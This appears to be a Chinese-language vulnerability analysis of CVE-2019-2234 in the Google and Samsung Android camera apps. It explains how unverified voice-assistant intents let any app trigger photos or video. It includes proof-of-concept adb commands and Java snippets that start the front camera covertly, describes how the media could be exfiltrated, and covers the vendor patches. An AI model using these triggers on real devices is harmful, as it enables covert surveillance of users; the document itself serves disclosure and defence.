一、漏洞背景
- 2019年11月19日,以色列Checkmarx的研究人员在Google和三星提供的Android摄像头应用程序中发现了多个漏洞,这些漏洞可能允许攻击者监视用户。漏洞被统一跟踪为CVE-2019-2234,攻击者可以利用它们进行多项活动,包括录制视频,拍照,录制语音电话,跟踪用户的位置。
二、漏洞细节
- Google设备以及海外版本的三星设备上都搭载有相机应用程序,其中Google设备上为Google Camera,三星设备上为Samsung Camera,这些相机应用程序都可以接收Google Assistant语音助手的指令。
- 在用户按下Home按钮并说出“Take photos”语音指令时,Google Assistant会调用相机应用程序,并倒计时3秒钟进行拍照,同样地用户也能使用类似方式进行视频拍摄的操作。
- 问题就出在相机应用程序向Google Assistant提供的接口上,Google Assistant通过发送隐式Intent的方式调用相机应用程序,Intent的Action为
android.media.action.STILL_IMAGE_CAMERA
,附加参数可控制具体的拍照方式,例如:将android.intent.extra.USE_FRONT_CAMERA
设置为true
可要求相机应用程序使用前置摄像头进行自拍,或者通过android.intent.extra.TIMER_DURATION_SECONDS
来手工指定拍照延迟的秒数(默认值和最小值都为3秒钟);对于视频拍摄,Intent的Action为android.media.action.VIDEO_CAMERA
。
- 这些Intent都添加了分类
android.intent.category.VOICE
,根据Google语音交互API中的说明,语音助手程序会发送android.intent.category.VOICE
分类的Intent,但是遗憾的是,在相机应用程序接收到Intent后,并没有使用Google提供的isVoiceInteraction()
或isVoiceInteractionRoot()
接口来判断Intent的发送者是否是默认语音助手程序,所以这些Intent的发送就并不限定Google Assistant来发送了。
三、漏洞验证
- adb命令即可触发此问题,下面的命令可使得相机应用启动并使用前置摄像机延迟3秒拍照:
adb shell am start -a android.media.action.STILL_IMAGE_CAMERA --ez android.intent.extra.USE_FRONT_CAMERA true
- 同样地可以使用代码来发送该Intent:
Intent intent = new Intent();
intent.setAction("android.media.action.STILL_IMAGE_CAMERA");
intent.putExtra("android.intent.extra.USE_FRONT_CAMERA", true);
startActivity(intent);
- 下面的命令可使得相机应用启动并使用前置摄像机开始录像:
adb shell am start -a android.media.action.VIDEO_CAMERA --ez android.intent.extra.USE_FRONT_CAMERA true
- 同样地可以使用代码来发送该Intent:
Intent intent = new Intent();
intent.setAction("android.media.action.VIDEO_CAMERA");
intent.putExtra("android.intent.extra.USE_FRONT_CAMERA", true);
startActivity(intent);
四、漏洞影响
- 该漏洞允许没有麦克风和相机权限的恶意应用,在不解锁设备的情况下调用系统相机进行拍照和录像操作。
- 在完成拍摄之后,恶意应用只需要申请存储权限,即可访问拍摄到的照片和视频,还可以读取照片和视频EXIF信息中的位置信息。
- 最后恶意应用可利用网络连接权限将这些照片和视频传送到攻击者的服务器上,并且删除本地的照片和视频以清除痕迹。
- 攻击者可以通过收集这些照片和视频,实现对用户环境的偷拍、录音、位置追踪,导致用户被全方位跟踪,严重侵犯用户隐私。
- 由于存储权限和网络连接权限是非常普遍的Android权限,所以几乎所有的应用都有条件实现这样的攻击。
五、漏洞补丁
- 在漏洞出现之后,Google和三星都提供了补丁,但是解决的方法是截然不同的。
- Google选择了在接收到任何Intent时,相机应用程序都不进行拍照或录像动作,而仅仅是启动相机取景框,用户需要自行点击操作进行拍照或录像。
- 三星选择了在接收到Intent时,使用了
isVoiceInteractionRoot()
方法进行判断,若判断为true则进行拍照或录像动作,否则仅仅是启动相机取景框,用户需要自行点击操作进行拍照或录像。
- 至于Google为什么没有使用
isVoiceInteractionRoot()
方法进行判断,就不得而知了。
boolean isVoiceInteractionRoot = isVoiceInteractionRoot();
Log.d(TAG, "checkGoogleIntentCamera : isVoiceInteractionRoot = " + isVoiceInteractionRoot);